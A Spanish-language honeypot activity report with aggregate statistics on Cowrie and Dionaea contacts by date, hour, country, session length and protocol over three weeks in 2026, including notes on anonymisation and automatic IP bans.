Análisis del señuelo

2026-08-22 11:20 a 2026-09-11 08:50 · generado el 2026-09-15 15:55 UTC desde respaldo

Todo lo que sigue es OBSERVADO: sale de contar los registros y se puede volver a comprobar en el mismo fichero. La columna ATT&CK es la única inferida, y sale de ANALISIS/ttp.tsv. Ninguna muestra se ha ejecutado: de los binarios solo se lee el contenido para calcular su hash.
Informe anonimizado. Cada IP de internet se ha cambiado por una etiqueta con su país (<IP-PAÍS-NNN>): la misma IP lleva la misma etiqueta en todo el informe, y el número no dice nada más. Las del señuelo van como [IP VPS]. Sin rutas locales y sin el cuerpo de 1 clave privada.

Todas las fechas y horas de este informe van en UTC, incluidas las de las tablas. Cowrie firma sus marcas con una "Z", pero escribe la hora local del contenedor, así que se reinterpretan como Europe/Kyiv y se convierten a UTC al leerlas; sin esa corrección, las marcas saldrían corridas y con pinta de correctas. Dionaea sí guarda UTC de verdad.

1. Lo que este informe no puede saber

67 sesiones y 260 órdenes son NUESTRAS y se han descartado. Vienen de 172.20.0.1, que no es una dirección de internet, sino el propio señuelo hablando consigo mismo: al probarlo desde la VPS, la conexión entra por la puerta de enlace del puente de Docker y Cowrie la anota como una sesión más, con sus logins y sus órdenes. No es un ataque y no cuenta en nada de lo que sigue. El reporter ya las descartaba por su cuenta (ipguard), así que nunca se ha denunciado a nadie por esto.

2. Resumen

Cuánto llegó. Una participación es un contacto con cualquiera de los dos señuelos, y el total es la suma de los dos: 805.262 en total.

Cowrie y Dionaea los dos señuelos, cada parte en su propia unidad

sesiones en Cowrie (SSH y Telnet): 595.638 (74,0%)conexiones a Dionaea (SMB, MSSQL, RPC): 209.624 (26,0%)595.638 sesiones en Cowrie (SSH y Telnet) (74,0%)209.624 conexiones a Dionaea (SMB, MSSQL, RPC) (26,0%)

Qué hicieron. Esta es la cifra que separa la actividad real del ruido de fondo. Las dos proporciones van aparte porque no están en la misma unidad: una cuenta sesiones y la otra intentos de credencial.

Solo Cowrie la barra entera son sus 595.638 sesiones: Dionaea no emula ningún shell y ahí no hay nada que teclear

sesiones que llegaron a teclear algo: 23.098 (3,9%)se fueron sin teclear nada: 572.540 (96,1%)23.098 sesiones que llegaron a teclear algo (3,9%)572.540 se fueron sin teclear nada (96,1%)

Solo Cowrie es el único del que se cuentan logins; de Dionaea solo se cuentan conexiones

intentos de login que acertaron: 999 (1,0%)intentos fallidos: 98.083 (99,0%)999 intentos de login que acertaron (1,0%)98.083 intentos fallidos (99,0%)

Quién. Cuántas IPs distintas hay detrás de esas participaciones. Una IP distinta es una dirección, participe una vez o mil.

Qué hicimos nosotros. La única cifra del resumen que no habla de los atacantes, sino de nuestra reacción: 74 IPs baneadas , según la memoria del bot.

Cortafuegos de dónde salió cada baneo lo dice el comentario de la regla en nftables, no la memoria del bot: ahí banned es una lista sin más

puestas automáticamente por el vigilante: 57 (77,0%)puestas a mano desde Telegram: 5 (6,8%)con la etiqueta antigua, sin saber quién: 11 (14,9%)que el bot recuerda y ya no están en el cortafuegos: 1 (1,4%)57 puestas automáticamente por el vigilante (77,0%)5 puestas a mano desde Telegram (6,8%)11 con la etiqueta antigua, sin saber quién (14,9%)1 que el bot recuerda y ya no está en el cortafuegos (1,4%)

Lo que de verdad dicen esos números:

De esos 151 países, 21 aparecen con una sola IP y no salen en ninguna tabla ni en ningún esquema: los de arriba se llevan el volumen, pero la lista larga también atacó. Y 1 no se ha podido localizar.

2.1  Todos los países que han atacado

Elige cómo ordenarlo:

🇦🇱 Albania5141
🇩🇪 Alemania223119
🇩🇿 Argelia140
🇦🇩 Andorra92.560
🇦🇴 Angola10
🇦🇮 Anguila10
🇸🇦 Arabia Saudí1346
🇦🇷 Argentina321202
🇦🇲 Armenia2134
🇦🇺 Australia120
🇦🇹 Austria50
🇦🇿 Azerbaiyán2048
🇧🇩 Bangladés721
🇧🇭 Baréin60
🇧🇾 Bielorrusia1614
🇲🇲 Birmania360
🇧🇴 Bolivia270
🇧🇦 Bosnia y Herzegovina40
🇧🇼 Botsuana20
🇧🇷 Brasil288183
🇧🇳 Brunéi10
🇧🇬 Bulgaria1943
🇧🇫 Burkina Faso40
🇧🇮 Burundi10
🇧🇪 Bélgica11034
🇰🇭 Camboya70
🇨🇲 Camerún30
🇨🇦 Canadá11448
🇧🇶 Caribe Neerlandés10
🇶🇦 Catar30
🇨🇿 Chequia260
🇨🇱 Chile740
🇨🇳 China58081.558
🇨🇾 Chipre40
🇨🇴 Colombia6080
🇰🇲 Comoras10
🇨🇬 Congo50
🇰🇷 Corea del Sur94367
🇨🇷 Costa Rica70
🇨🇮 Costa de Marfil30
🇭🇷 Croacia30
🇨🇺 Cuba70
🇨🇼 Curazao10
🇩🇰 Dinamarca30
🇪🇨 Ecuador430
🇪🇬 Egipto4935
🇸🇻 El Salvador90
🇦🇪 Emiratos Árabes Unidos120
🇪🇷 Eritrea10
🇸🇰 Eslovaquia70
🇸🇮 Eslovenia3448
🇪🇸 España3629
🇺🇸 Estados Unidos1.0566.044
🇪🇪 Estonia70
🇪🇹 Etiopía1423
🇵🇭 Filipinas490
🇫🇮 Finlandia160
🇫🇷 Francia123129
🇬🇦 Gabón30
🇬🇲 Gambia10
🇬🇪 Georgia2182
🇬🇭 Ghana40
🇬🇷 Grecia60
🇬🇹 Guatemala40
🇭🇳 Honduras10
🇭🇰 Hong Kong89167
🇭🇺 Hungría15110
🇮🇳 India28067
🇮🇩 Indonesia26920
🇮🇶 Irak320
🇮🇪 Irlanda10
🇮🇷 Irán72221
🇮🇸 Islandia10
🇻🇮 Islas Vírgenes de EE. UU.10
🇮🇱 Israel2359
🇮🇹 Italia72647
🇯🇲 Jamaica20
🇯🇵 Japón29300
🇯🇪 Jersey125
🇯🇴 Jordania410
🇰🇿 Kazajistán330
🇰🇪 Kenia290
🇰🇬 Kirguistán61
🇰🇼 Kuwait30
🇱🇦 Laos31
🇱🇻 Letonia100
🇱🇾 Libia323
🇱🇹 Lituania140
🇱🇺 Luxemburgo70
🇱🇧 Líbano50
🇲🇴 Macao124
🇲🇰 Macedonia del Norte337
🇲🇬 Madagascar40
🇲🇾 Malasia35495
🇲🇼 Malaui30
🇲🇹 Malta268
🇲🇦 Marruecos280
🇲🇺 Mauricio10
🇲🇷 Mauritania10
🇲🇩 Moldavia80
🇲🇳 Mongolia50
🇲🇿 Mozambique40
🇲🇽 México1098
🇳🇵 Nepal80
🇳🇮 Nicaragua40
🇳🇬 Nigeria370
🇳🇴 Noruega50
🇳🇿 Nueva Zelanda210
🇴🇲 Omán70
🇵🇰 Pakistán226281.143
🇵🇸 Palestina120
🇵🇦 Panamá90
🇵🇾 Paraguay311
🇳🇱 Países Bajos16114.465
🇵🇪 Perú191
🇵🇱 Polonia36250
🇵🇹 Portugal1095
🇵🇷 Puerto Rico833
🇬🇧 Reino Unido22383
🇨🇩 Rep. Dem. del Congo10
🇩🇴 República Dominicana111
🇷🇪 Reunión20
🇷🇼 Ruanda10
🇷🇴 Rumanía1199
🇷🇺 Rusia6103.310
🇸🇳 Senegal524
🇷🇸 Serbia1118
🇸🇨 Seychelles40
🇸🇬 Singapur481.264
🇸🇾 Siria30
🇱🇰 Sri Lanka80
🇿🇦 Sudáfrica120136
🇸🇩 Sudán10
🇸🇪 Suecia66335
🇨🇭 Suiza20
🇹🇭 Tailandia6738
🇹🇼 Taiwán65269
🇹🇿 Tanzania51
🇹🇯 Tayikistán20
🇹🇬 Togo60
🇹🇳 Túnez270
🇹🇷 Turquía12087
🇺🇦 Ucrania3581.947
🇺🇬 Uganda40
🇺🇾 Uruguay60
🇺🇿 Uzbekistán5725
🇻🇪 Venezuela470
🇻🇳 Vietnam16667
🇽🇰 XK20
🇿🇲 Zambia10
🇿🇼 Zimbabue70

Destaca siempre aquello por lo que se ordena: el nombre en el orden alfabético, y la cifra correspondiente en los otros dos. Las demás cifras se quedan en gris a la derecha: se pueden comparar, pero no compiten con la que manda. La reordenación la hace el navegador con CSS, sin JavaScript: al copiar y pegar en un documento sale siempre en orden alfabético, que es como está escrito el fichero.

La memoria del bot guarda 205 guiones, 711 IPs, 74 muestras y 2 credenciales, y caduca a los 30 días con tope de 5.000 IPs. Los recuentos de arriba salen de cowrie.json, que es el que no olvida.

2.2  Cuándo han atacado más

Qué se puede ver aquí:

Decimos participaciones y no "ataques" porque lo que se registra es muy distinto entre sí: unos fallan el login y se van, otros entran y no hacen nada, y otros entran y sueltan un binario. Llamarlo "ataques" daría a entender que todos consiguieron algo. Una participación es un contacto con el señuelo: una sesión en Cowrie o una conexión en Dionaea.

Cómo se lee el gráfico:

Elige qué visualizar:

  • Total del periodo: 805.262 participaciones en 21 días
  • Media: 38.345 participaciones al día
  • Día más movido: 7 de septiembre, con 104.556 participaciones
  • Ese día fue 2,7 veces la media

26.13952.27878.417104.5562026-08-22: 21.506222026-08-23: 7.599232026-08-24: 7.110242026-08-25: 11.356252026-08-26: 23.058262026-08-27: 20.485272026-08-28: 17.670282026-08-29: 26.222292026-08-30: 9.216302026-08-31: 49.438312026-09-01: 59.96012026-09-02: 38.29922026-09-03: 69.93332026-09-04: 57.02242026-09-05: 49.84152026-09-06: 65.56362026-09-07: 104.55672026-09-08: 40.30082026-09-09: 30.38892026-09-10: 55.909102026-09-11: 39.83111agosto de 2026septiembre de 2026Todo el periodo que cubre el respaldo2026-08-2221.506 participaciones2026-08-237.599 participaciones2026-08-247.110 participaciones2026-08-2511.356 participaciones2026-08-2623.058 participaciones2026-08-2720.485 participaciones2026-08-2817.670 participaciones2026-08-2926.222 participaciones2026-08-309.216 participaciones2026-08-3149.438 participaciones2026-09-0159.960 participaciones2026-09-0238.299 participaciones2026-09-0369.933 participaciones2026-09-0457.022 participaciones2026-09-0549.841 participaciones2026-09-0665.563 participaciones2026-09-07104.556 participaciones2026-09-0840.300 participaciones2026-09-0930.388 participaciones2026-09-1055.909 participaciones2026-09-1139.831 participaciones

  • Total del periodo: 595.638 sesiones en 21 días
  • Media: 28.363 sesiones al día
  • Día más movido: 7 de septiembre, con 84.887 sesiones
  • Ese día fue 3,0 veces la media

21.22142.44363.66584.8872026-08-22: 20.079222026-08-23: 5.234232026-08-24: 7.110242026-08-25: 11.356252026-08-26: 23.058262026-08-27: 20.485272026-08-28: 17.651282026-08-29: 22.511292026-08-30: 8.301302026-08-31: 38.084312026-09-01: 36.93712026-09-02: 20.30222026-09-03: 41.45932026-09-04: 50.30942026-09-05: 30.14152026-09-06: 51.71062026-09-07: 84.88772026-09-08: 23.10182026-09-09: 18.44892026-09-10: 42.988102026-09-11: 21.48711agosto de 2026septiembre de 2026Todo el periodo que cubre el respaldo2026-08-2220.079 sesiones en Cowrie2026-08-235.234 sesiones en Cowrie2026-08-247.110 sesiones en Cowrie2026-08-2511.356 sesiones en Cowrie2026-08-2623.058 sesiones en Cowrie2026-08-2720.485 sesiones en Cowrie2026-08-2817.651 sesiones en Cowrie2026-08-2922.511 sesiones en Cowrie2026-08-308.301 sesiones en Cowrie2026-08-3138.084 sesiones en Cowrie2026-09-0136.937 sesiones en Cowrie2026-09-0220.302 sesiones en Cowrie2026-09-0341.459 sesiones en Cowrie2026-09-0450.309 sesiones en Cowrie2026-09-0530.141 sesiones en Cowrie2026-09-0651.710 sesiones en Cowrie2026-09-0784.887 sesiones en Cowrie2026-09-0823.101 sesiones en Cowrie2026-09-0918.448 sesiones en Cowrie2026-09-1042.988 sesiones en Cowrie2026-09-1121.487 sesiones en Cowrie

  • Total del periodo: 209.624 conexiones en 21 días
  • Media: 9.982 conexiones al día
  • Día más movido: 3 de septiembre, con 28.474 conexiones
  • Ese día fue 2,9 veces la media

7.11814.23721.35528.4742026-08-22: 1.427222026-08-23: 2.365232026-08-24: 0242026-08-25: 0252026-08-26: 0262026-08-27: 0272026-08-28: 19282026-08-29: 3.711292026-08-30: 915302026-08-31: 11.354312026-09-01: 23.02312026-09-02: 17.99722026-09-03: 28.47432026-09-04: 6.71342026-09-05: 19.70052026-09-06: 13.85362026-09-07: 19.66972026-09-08: 17.19982026-09-09: 11.94092026-09-10: 12.921102026-09-11: 18.34411agosto de 2026septiembre de 2026Todo el periodo que cubre el respaldo2026-08-221.427 conexiones a Dionaea2026-08-232.365 conexiones a Dionaea2026-08-240 conexiones a Dionaea2026-08-250 conexiones a Dionaea2026-08-260 conexiones a Dionaea2026-08-270 conexiones a Dionaea2026-08-2819 conexiones a Dionaea2026-08-293.711 conexiones a Dionaea2026-08-30915 conexiones a Dionaea2026-08-3111.354 conexiones a Dionaea2026-09-0123.023 conexiones a Dionaea2026-09-0217.997 conexiones a Dionaea2026-09-0328.474 conexiones a Dionaea2026-09-046.713 conexiones a Dionaea2026-09-0519.700 conexiones a Dionaea2026-09-0613.853 conexiones a Dionaea2026-09-0719.669 conexiones a Dionaea2026-09-0817.199 conexiones a Dionaea2026-09-0911.940 conexiones a Dionaea2026-09-1012.921 conexiones a Dionaea2026-09-1118.344 conexiones a Dionaea

2.3  A qué hora

Aquí importa menos la hora punta que lo parecidas que son las veinticuatro. Un reparto plano indica automatización, porque las máquinas no duermen. Si la actividad se concentrara en unas ocho horas, apuntaría a personas con horario, y eso sería lo llamativo.

Hora UTCParticipaciones en esa hora, sumando todo el periodo00:0000:00: 42.945 participaciones42.94501:0001:00: 28.089 participaciones28.08902:0002:00: 25.738 participaciones25.73803:0003:00: 28.350 participaciones28.35004:0004:00: 25.443 participaciones25.44305:0005:00: 28.785 participaciones28.78506:0006:00: 28.361 participaciones28.36107:0007:00: 25.276 participaciones25.27608:0008:00: 25.387 participaciones25.38709:0009:00: 43.691 participaciones43.69110:0010:00: 30.254 participaciones30.25411:0011:00: 26.441 participaciones26.44112:0012:00: 34.168 participaciones34.16813:0013:00: 33.184 participaciones33.18414:0014:00: 26.127 participaciones26.12715:0015:00: 31.126 participaciones31.12616:0016:00: 31.585 participaciones31.58517:0017:00: 52.427 participaciones52.42718:0018:00: 38.697 participaciones38.69719:0019:00: 36.226 participaciones36.22620:0020:00: 34.472 participaciones34.47221:0021:00: 33.564 participaciones33.56422:0022:00: 45.732 participaciones45.73223:0023:00: 49.194 participaciones49.19400:00: 42.945 participaciones01:00: 28.089 participaciones02:00: 25.738 participaciones03:00: 28.350 participaciones04:00: 25.443 participaciones05:00: 28.785 participaciones06:00: 28.361 participaciones07:00: 25.276 participaciones08:00: 25.387 participaciones09:00: 43.691 participaciones10:00: 30.254 participaciones11:00: 26.441 participaciones12:00: 34.168 participaciones13:00: 33.184 participaciones14:00: 26.127 participaciones15:00: 31.126 participaciones16:00: 31.585 participaciones17:00: 52.427 participaciones18:00: 38.697 participaciones19:00: 36.226 participaciones20:00: 34.472 participaciones21:00: 33.564 participaciones22:00: 45.732 participaciones23:00: 49.194 participaciones

2.4  Cuánto duran

Solo Cowrie Dionaea cuenta conexiones sueltas, no sesiones con principio y final; la duración es de las 595.299 sesiones de Cowrie que la traen

menos de 1 segundo: tocar y salir: 146.120 (24,5%)de 1 a 10 segundos: 413.287 (69,4%)de 10 segundos a 1 minuto: 23.303 (3,9%)más de 1 minuto: 12.589 (2,1%)146.120 menos de 1 segundo: tocar y salir (24,5%)413.287 de 1 a 10 segundos (69,4%)23.303 de 10 segundos a 1 minuto (3,9%)12.589 más de 1 minuto (2,1%)

2.5  De dónde: desde cuántos sitios distintos

Qué se puede ver aquí:

Una IP distinta es una dirección desde la que llegó al menos una participación. Si la misma dirección participa mil veces, cuenta una. Por eso esta figura mide algo distinto de la siguiente: aquí se ve desde cuántos sitios se ataca, y en la siguiente cuánto insiste cada uno.

Cómo se lee el gráfico:

Elige qué visualizar:

  • Total: 7.573 IPs distintas (los dos señuelos), en 151 países
  • No entran en la figura: 1 IP que la tabla de países no localiza
  • El que más: 🇺🇸 Estados Unidos, con 1.056 IPs
  • Quedan fuera del dibujo: 127 países con menos IPs (están todos en la lista de arriba)

US: 1.056 IPs🇺🇸 USRU: 610 IPs🇷🇺 RUCN: 580 IPs🇨🇳 CNUA: 358 IPs🇺🇦 UAAR: 321 IPs🇦🇷 ARBR: 288 IPs🇧🇷 BRIN: 280 IPs🇮🇳 INID: 269 IPs🇮🇩 IDPK: 226 IPs🇵🇰 PKGB: 223 IPs🇬🇧 GBDE: 223 IPs🇩🇪 DEVN: 166 IPs🇻🇳 VNNL: 161 IPs🇳🇱 NLFR: 123 IPs🇫🇷 FRZA: 120 IPs🇿🇦 ZATR: 120 IPs🇹🇷 TRCA: 114 IPs🇨🇦 CABE: 110 IPs🇧🇪 BEMX: 109 IPs🇲🇽 MXKR: 94 IPs🇰🇷 KRHK: 89 IPs🇭🇰 HKCL: 74 IPs🇨🇱 CLBD: 72 IPs🇧🇩 BDIT: 72 IPs🇮🇹 IT5.858 IPs usadas por 24 paísesde los 151 países en totalpor lo que no aparecen 127 paísesUS: 1.056 IPsRU: 610 IPsCN: 580 IPsUA: 358 IPsAR: 321 IPsBR: 288 IPsIN: 280 IPsID: 269 IPsPK: 226 IPsGB: 223 IPsDE: 223 IPsVN: 166 IPsNL: 161 IPsFR: 123 IPsZA: 120 IPsTR: 120 IPsCA: 114 IPsBE: 110 IPsMX: 109 IPsKR: 94 IPsHK: 89 IPsCL: 74 IPsBD: 72 IPsIT: 72 IPs

  • Total: 6.004 IPs distintas (Cowrie), en 148 países
  • El que más: 🇺🇸 Estados Unidos, con 826 IPs
  • Quedan fuera del dibujo: 124 países con menos IPs (están todos en la lista de arriba)

US: 826 IPs🇺🇸 USRU: 485 IPs🇷🇺 RUCN: 444 IPs🇨🇳 CNUA: 355 IPs🇺🇦 UAAR: 308 IPs🇦🇷 ARBR: 231 IPs🇧🇷 BRID: 205 IPs🇮🇩 IDPK: 195 IPs🇵🇰 PKIN: 163 IPs🇮🇳 INDE: 157 IPs🇩🇪 DENL: 148 IPs🇳🇱 NLVN: 130 IPs🇻🇳 VNGB: 118 IPs🇬🇧 GBFR: 109 IPs🇫🇷 FRZA: 108 IPs🇿🇦 ZACA: 96 IPs🇨🇦 CATR: 92 IPs🇹🇷 TRKR: 91 IPs🇰🇷 KRMX: 71 IPs🇲🇽 MXBE: 71 IPs🇧🇪 BEHK: 69 IPs🇭🇰 HKCL: 68 IPs🇨🇱 CLIT: 67 IPs🇮🇹 ITSE: 61 IPs🇸🇪 SE4.668 IPs usadas por 24 paísesde los 148 países en totalpor lo que no aparecen 124 paísesUS: 826 IPsRU: 485 IPsCN: 444 IPsUA: 355 IPsAR: 308 IPsBR: 231 IPsID: 205 IPsPK: 195 IPsIN: 163 IPsDE: 157 IPsNL: 148 IPsVN: 130 IPsGB: 118 IPsFR: 109 IPsZA: 108 IPsCA: 96 IPsTR: 92 IPsKR: 91 IPsMX: 71 IPsBE: 71 IPsHK: 69 IPsCL: 68 IPsIT: 67 IPsSE: 61 IPs

  • Total: 1.732 IPs distintas (Dionaea), en 93 países
  • No entran en la figura: 1 IP que la tabla de países no localiza
  • El que más: 🇺🇸 Estados Unidos, con 336 IPs
  • Quedan fuera del dibujo: 69 países con menos IPs (están todos en la lista de arriba)

US: 336 IPs🇺🇸 USCN: 137 IPs🇨🇳 CNRU: 127 IPs🇷🇺 RUIN: 117 IPs🇮🇳 INGB: 107 IPs🇬🇧 GBDE: 69 IPs🇩🇪 DEID: 64 IPs🇮🇩 IDBR: 60 IPs🇧🇷 BRCA: 45 IPs🇨🇦 CAEG: 41 IPs🇪🇬 EGBE: 40 IPs🇧🇪 BEMX: 38 IPs🇲🇽 MXIR: 37 IPs🇮🇷 IRVN: 36 IPs🇻🇳 VNTH: 35 IPs🇹🇭 THPK: 31 IPs🇵🇰 PKNG: 29 IPs🇳🇬 NGTR: 28 IPs🇹🇷 TRBD: 22 IPs🇧🇩 BDHK: 21 IPs🇭🇰 HKTW: 20 IPs🇹🇼 TWPH: 20 IPs🇵🇭 PHFR: 19 IPs🇫🇷 FRNL: 15 IPs🇳🇱 NL1.494 IPs usadas por 24 paísesde los 93 países en totalpor lo que no aparecen 69 paísesUS: 336 IPsCN: 137 IPsRU: 127 IPsIN: 117 IPsGB: 107 IPsDE: 69 IPsID: 64 IPsBR: 60 IPsCA: 45 IPsEG: 41 IPsBE: 40 IPsMX: 38 IPsIR: 37 IPsVN: 36 IPsTH: 35 IPsPK: 31 IPsNG: 29 IPsTR: 28 IPsBD: 22 IPsHK: 21 IPsTW: 20 IPsPH: 20 IPsFR: 19 IPsNL: 15 IPs

2.6  Quién trabaja de verdad

Qué se puede ver aquí:

Una orden es cada línea que el atacante teclea ya dentro del señuelo. Una conexión es cada vez que se toca un puerto de Dionaea. Son cosas distintas y no se pueden comparar entre sí, pero sí se pueden sumar para saber qué país está más activo, y por eso el total lleva el desglose en cada barra.

Cómo se lee el gráfico:

Elige qué visualizar:

  • Total: 607.456 acciones desde 106 países
  • No entran en la figura: 21 acciones de IPs que la tabla de países no localiza
  • El que más: 🇵🇰 Pakistán, con 287.135 acciones, el 47% del total
  • Y lo hace desde 226 IPs, cuando el país que más IPs usa es 🇺🇸 Estados Unidos, con 1.056
  • Quedan fuera del dibujo: 91 países con menos actividad

PaísesActividad total, Cowrie + Dionaea🇵🇰 PKPK: 287.135 acciones287.135= 281.143 órdenes en Cowrie + 5.992 conexiones a Dionaea · desde 226 IPs distintas (los dos señuelos)🇨🇳 CNCN: 113.834 acciones113.834= 81.558 órdenes en Cowrie + 32.276 conexiones a Dionaea · desde 580 IPs distintas (los dos señuelos)🇷🇺 RURU: 34.866 acciones34.866= 3.310 órdenes en Cowrie + 31.556 conexiones a Dionaea · desde 610 IPs distintas (los dos señuelos)🇮🇳 ININ: 31.406 acciones31.406= 67 órdenes en Cowrie + 31.339 conexiones a Dionaea · desde 280 IPs distintas (los dos señuelos)🇪🇬 EGEG: 17.030 acciones17.030= 35 órdenes en Cowrie + 16.995 conexiones a Dionaea · desde 49 IPs distintas (los dos señuelos)🇿🇦 ZAZA: 15.758 acciones15.758= 136 órdenes en Cowrie + 15.622 conexiones a Dionaea · desde 120 IPs distintas (los dos señuelos)🇳🇱 NLNL: 14.528 acciones14.528= 14.465 órdenes en Cowrie + 63 conexiones a Dionaea · desde 161 IPs distintas (los dos señuelos)🇻🇳 VNVN: 13.069 acciones13.069= 67 órdenes en Cowrie + 13.002 conexiones a Dionaea · desde 166 IPs distintas (los dos señuelos)🇮🇷 IRIR: 11.052 acciones11.052= 221 órdenes en Cowrie + 10.831 conexiones a Dionaea · desde 72 IPs distintas (los dos señuelos)🇺🇸 USUS: 7.537 acciones7.537= 6.044 órdenes en Cowrie + 1.493 conexiones a Dionaea · desde 1.056 IPs distintas (los dos señuelos)🇮🇩 IDID: 6.520 acciones6.520= 20 órdenes en Cowrie + 6.500 conexiones a Dionaea · desde 269 IPs distintas (los dos señuelos)🇺🇦 UAUA: 5.086 acciones5.086= 1.947 órdenes en Cowrie + 3.139 conexiones a Dionaea · desde 358 IPs distintas (los dos señuelos)🇧🇴 BOBO: 5.060 acciones5.060= 0 órdenes en Cowrie + 5.060 conexiones a Dionaea · desde 27 IPs distintas (los dos señuelos)🇲🇾 MYMY: 3.611 acciones3.611= 495 órdenes en Cowrie + 3.116 conexiones a Dionaea · desde 35 IPs distintas (los dos señuelos)🇦🇷 ARAR: 3.391 acciones3.391= 202 órdenes en Cowrie + 3.189 conexiones a Dionaea · desde 321 IPs distintas (los dos señuelos)PK: 287.135 accionesCN: 113.834 accionesRU: 34.866 accionesIN: 31.406 accionesEG: 17.030 accionesZA: 15.758 accionesNL: 14.528 accionesVN: 13.069 accionesIR: 11.052 accionesUS: 7.537 accionesID: 6.520 accionesUA: 5.086 accionesBO: 5.060 accionesMY: 3.611 accionesAR: 3.391 acciones

  • Total: 397.853 órdenes desde 65 países
  • El que más: 🇵🇰 Pakistán, con 281.143 órdenes, el 71% del total
  • Y lo hace desde 195 IPs, cuando el país que más IPs usa es 🇺🇸 Estados Unidos, con 826
  • Quedan fuera del dibujo: 50 países con menos actividad

PaísesActividad total, solo Cowrie🇵🇰 PKPK: 281.143 órdenes281.143órdenes en Cowrie · desde 195 IPs distintas (solo Cowrie), 49 de ellas baneadas🇨🇳 CNCN: 81.558 órdenes81.558órdenes en Cowrie · desde 444 IPs distintas (solo Cowrie), 22 de ellas baneadas🇳🇱 NLNL: 14.465 órdenes14.465órdenes en Cowrie · desde 148 IPs distintas (solo Cowrie)🇺🇸 USUS: 6.044 órdenes6.044órdenes en Cowrie · desde 826 IPs distintas (solo Cowrie), 1 de ellas baneadas🇷🇺 RURU: 3.310 órdenes3.310órdenes en Cowrie · desde 485 IPs distintas (solo Cowrie), 1 de ellas baneadas🇦🇩 ADAD: 2.560 órdenes2.560órdenes en Cowrie · desde 9 IPs distintas (solo Cowrie)🇺🇦 UAUA: 1.947 órdenes1.947órdenes en Cowrie · desde 355 IPs distintas (solo Cowrie)🇸🇬 SGSG: 1.264 órdenes1.264órdenes en Cowrie · desde 44 IPs distintas (solo Cowrie)🇮🇹 ITIT: 647 órdenes647órdenes en Cowrie · desde 67 IPs distintas (solo Cowrie)🇲🇾 MYMY: 495 órdenes495órdenes en Cowrie · desde 33 IPs distintas (solo Cowrie)🇰🇷 KRKR: 367 órdenes367órdenes en Cowrie · desde 91 IPs distintas (solo Cowrie)🇸🇪 SESE: 335 órdenes335órdenes en Cowrie · desde 61 IPs distintas (solo Cowrie)🇯🇵 JPJP: 300 órdenes300órdenes en Cowrie · desde 26 IPs distintas (solo Cowrie)🇹🇼 TWTW: 269 órdenes269órdenes en Cowrie · desde 45 IPs distintas (solo Cowrie)🇵🇱 PLPL: 250 órdenes250órdenes en Cowrie · desde 32 IPs distintas (solo Cowrie)PK: 281.143 órdenesCN: 81.558 órdenesNL: 14.465 órdenesUS: 6.044 órdenesRU: 3.310 órdenesAD: 2.560 órdenesUA: 1.947 órdenesSG: 1.264 órdenesIT: 647 órdenesMY: 495 órdenesKR: 367 órdenesSE: 335 órdenesJP: 300 órdenesTW: 269 órdenesPL: 250 órdenes

  • Total: 209.603 conexiones desde 93 países
  • No entran en la figura: 21 conexiones de IPs que la tabla de países no localiza
  • El que más: 🇨🇳 China, con 32.276 conexiones, el 15% del total
  • Y lo hace desde 137 IPs, cuando el país que más IPs usa es 🇺🇸 Estados Unidos, con 336
  • Quedan fuera del dibujo: 78 países con menos actividad
  • Aquí no hay órdenes: Dionaea no emula ningún shell, así que lo único contable es cuántas veces se tocó un puerto

PaísesActividad total, solo Dionaea🇨🇳 CNCN: 32.276 conexiones32.276conexiones a Dionaea · desde 137 IPs distintas (solo Dionaea)🇷🇺 RURU: 31.556 conexiones31.556conexiones a Dionaea · desde 127 IPs distintas (solo Dionaea)🇮🇳 ININ: 31.339 conexiones31.339conexiones a Dionaea · desde 117 IPs distintas (solo Dionaea)🇪🇬 EGEG: 16.995 conexiones16.995conexiones a Dionaea · desde 41 IPs distintas (solo Dionaea)🇿🇦 ZAZA: 15.622 conexiones15.622conexiones a Dionaea · desde 12 IPs distintas (solo Dionaea)🇻🇳 VNVN: 13.002 conexiones13.002conexiones a Dionaea · desde 36 IPs distintas (solo Dionaea)🇮🇷 IRIR: 10.831 conexiones10.831conexiones a Dionaea · desde 37 IPs distintas (solo Dionaea)🇮🇩 IDID: 6.500 conexiones6.500conexiones a Dionaea · desde 64 IPs distintas (solo Dionaea)🇵🇰 PKPK: 5.992 conexiones5.992conexiones a Dionaea · desde 31 IPs distintas (solo Dionaea)🇧🇴 BOBO: 5.060 conexiones5.060conexiones a Dionaea · desde 9 IPs distintas (solo Dionaea)🇨🇴 COCO: 3.262 conexiones3.262conexiones a Dionaea · desde 12 IPs distintas (solo Dionaea)🇦🇷 ARAR: 3.189 conexiones3.189conexiones a Dionaea · desde 13 IPs distintas (solo Dionaea)🇸🇦 SASA: 3.140 conexiones3.140conexiones a Dionaea · desde 3 IPs distintas (solo Dionaea)🇺🇦 UAUA: 3.139 conexiones3.139conexiones a Dionaea · desde 6 IPs distintas (solo Dionaea)🇱🇧 LBLB: 3.124 conexiones3.124conexiones a Dionaea · desde 4 IPs distintas (solo Dionaea)CN: 32.276 conexionesRU: 31.556 conexionesIN: 31.339 conexionesEG: 16.995 conexionesZA: 15.622 conexionesVN: 13.002 conexionesIR: 10.831 conexionesID: 6.500 conexionesPK: 5.992 conexionesBO: 5.060 conexionesCO: 3.262 conexionesAR: 3.189 conexionesSA: 3.140 conexionesUA: 3.139 conexionesLB: 3.124 conexiones

2.7  Protocolos: por dónde entran

Qué se puede ver aquí:

Los puertos son los públicos, no los internos del contenedor: Cowrie escucha en 2222 y 2223, pero quien ataca marcó el 22 y el 23. Un contacto es una participación contra ese puerto.

Cómo se leen:

Elige qué visualizar:

  • Total: 805.262 contactos en 5 protocolos
  • El más atacado: Telnet (puerto 23), con 487.937 contactos (el 61%)
  • El que atacan desde más países: SSH (puerto 22), desde 142 países

Telnet (puerto 23): 487.937 contactos (60,6%)61%SMB (puerto 445): 207.954 contactos (25,8%)26%SSH (puerto 22): 107.701 contactos (13,4%)13%Lo que no se ve: MSSQL (puerto 1433) y RPC (puerto 135) (0,2%)MSSQL (puerto 1433): 915 contactos (0,1%)55%RPC (puerto 135): 755 contactos (0,1%)45%ese 0,2% de cercay cómo se reparteTelnet (puerto 23)487.937 contactos (60,6%) · 122 paísesSMB (puerto 445)207.954 contactos (25,8%) · 89 paísesSSH (puerto 22)107.701 contactos (13,4%) · 142 paísesMSSQL (puerto 1433)915 contactos (0,1%) · 50 paísesRPC (puerto 135)755 contactos (0,1%) · 19 paísesTelnet (puerto 23): 487.937 contactos (60,6%)SMB (puerto 445): 207.954 contactos (25,8%)SSH (puerto 22): 107.701 contactos (13,4%)Lo que no se ve: MSSQL (puerto 1433) y RPC (puerto 135) (0,2%)MSSQL (puerto 1433): 915 contactos (0,1%)RPC (puerto 135): 755 contactos (0,1%)

